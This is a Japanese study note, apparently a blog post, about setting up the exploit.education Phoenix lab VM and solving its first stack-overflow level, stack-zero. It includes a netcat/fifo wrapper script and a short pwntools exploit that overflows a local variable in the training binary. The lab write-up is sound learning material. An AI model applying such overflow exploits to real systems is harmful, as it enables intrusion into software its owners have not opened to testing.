pwn の学習プロジェクトhttp://exploit.educationを見つけました。一時的に pwn の勉強を始めることに決めました。メモシリーズを始めてみます(毎回 pwntools スクリプトの書き方を忘れてしまいます)。途中で挫折しないでください。少なくとも Phoenix シリーズを完了させることを目標にします。
環境のセットアップ#
まず、more-downloads から Phoenix の仮想マシンイメージをダウンロードし、アーキテクチャに応じて選択します。これがターゲットマシンです。起動する前に、qemu-system-x86
をインストールする必要があります(64 ビット版も同じパッケージに含まれています(archlinux))。
boot-balabala.sh
を実行して仮想マシンを起動します。デフォルトでは、ssh がポート 2222 で開かれます。ユーザー名とパスワードはどちらも "user" です。
内部のプログラムを転送するために netcat を使用したい場合は、起動スクリプトに別のポート転送を追加するだけで十分です。以下にネットワークの行を示します。
-netdev user,id=unet,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:3333-:3333
次に、仮想マシン内で次のコマンドを実行します。
mkfifo io
そして、スクリプトファイル(start.sh)を作成します。
#!/bin/bash
cat io|$1 -i 2>&1|nc -l 3333 > io
その後、sh start.sh /opt/phoenix/amd64/stack-zero
のようにして netcat を起動できます。ポート 3333 は起動スクリプトと一致するようにしてください。
仮想マシンにはデフォルトで gef がインストールされていますが、私はあまり使い方がわからないので、peda のコピーを scp で送りました。省略します。
ホストマシンには非常に便利な pwntools もインストールしておきます:pip install pwntools
stack-zero#
プログラムは比較的単純で、cutter を使用します。
(実際には exploit.education のウェブページにソースコードがあります)(冒頭のコメントはジョークです)
今、私たちは s を var_10h(changeme)にオーバーフローさせ、内容は何でも構いません。gdb を開いて、距離を計算し、適当な入力を行います。
文字列は0x620
にあります。
条件分岐の文、changeme はrbp-0x10
にあります、つまり0x670-0x10
です。
計算すると0x660-0x620=0x40
です。
したがって、0x41
個の a を出力すれば良いです。
pwntools の練習のために、コードを書きます。
ここでは、ssh で直接接続しています。nc は必要ありません。
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
sh = shell.run("/opt/phoenix/amd64/stack-zero")
print(sh.recvline())
sh.sendline(b"a"*0x41)
print(sh.recvline())
shell.close()
成功